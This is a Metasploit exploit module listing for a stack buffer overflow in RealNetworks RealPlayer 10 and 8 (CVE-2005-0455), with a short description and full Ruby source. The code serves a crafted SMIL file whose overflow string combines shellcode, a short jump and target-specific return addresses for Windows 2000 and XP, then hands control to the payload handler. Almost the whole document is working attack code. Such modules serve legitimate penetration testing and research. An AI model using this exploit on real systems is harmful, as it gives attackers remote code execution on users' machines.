RealNetworks RealPlayer SMIL Buffer Overflow

2007-02-03T13:10:31
ID MSF:EXPLOIT/WINDOWS/BROWSER/REALPLAYER_SMIL
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module exploits a stack buffer overflow in RealNetworks RealPlayer 10 and 8. By creating a URL link to a malicious SMIL file, a remote attacker could overflow a buffer and execute arbitrary code. When using this module, be sure to set the URIPATH with an extension of '.smil'. This module has been tested with RealPlayer 10 build 6.0.12.883 and RealPlayer 8 build 6.0.9.584.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'RealNetworks RealPlayer SMIL Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in RealNetworks RealPlayer 10 and 8.
        By creating a URL link to a malicious SMIL file, a remote attacker could
        overflow a buffer and execute arbitrary code.
        When using this module, be sure to set the URIPATH with an extension of '.smil'.
        This module has been tested with RealPlayer 10 build 6.0.12.883 and RealPlayer 8
        build 6.0.9.584.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'MC',
      'References'     =>
        [
          [ 'CVE', '2005-0455' ],
          [ 'OSVDB', '14305'],
          [ 'BID', '12698' ],
        ],

      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },

      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00\x90\x0a\x0d\x20\x3c\x3e\x2f\x5c\x22\x58\x3d\x3b\x40\x3f\x27\x26\x25",
          'StackAdjustment' => -3500,
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'RealPlayer 10/8 on Windows 2000 SP0-SP4 English',     { 'Offset' => 608, 'Ret' => 0x75022ac4 } ],
          [ 'RealPlayer 10/8 on Windows XP PRO SP0-SP1 English',   { 'Offset' => 584, 'Ret' => 0x71aa2461 } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 1 2005',
      'DefaultTarget'  => 0))
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    cruft  =  rand_text_alpha_upper(1)
    bleh   =  rand_text_alpha_upper(11)

    sploit =  rand_text_alpha_upper(target['Offset']) + payload.encoded
    sploit << "\xeb\x06" + rand_text_alpha_upper(2) + [target.ret].pack('V')
    sploit << [0xe8, -485].pack('CV')

    # Build the HTML content
    content =  "<smil><head><layout><region id=\"#{cruft}\" top=\"#{cruft}\" /></layout></head>"
    content << "<body><text src=\"#{bleh}.txt\" region=\"size\" system-screen-size=\"#{sploit}\" /></body></smil>"

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content, { 'Content-Type' => 'text/html' })

    # Handle the payload
    handler(cli)
  end
end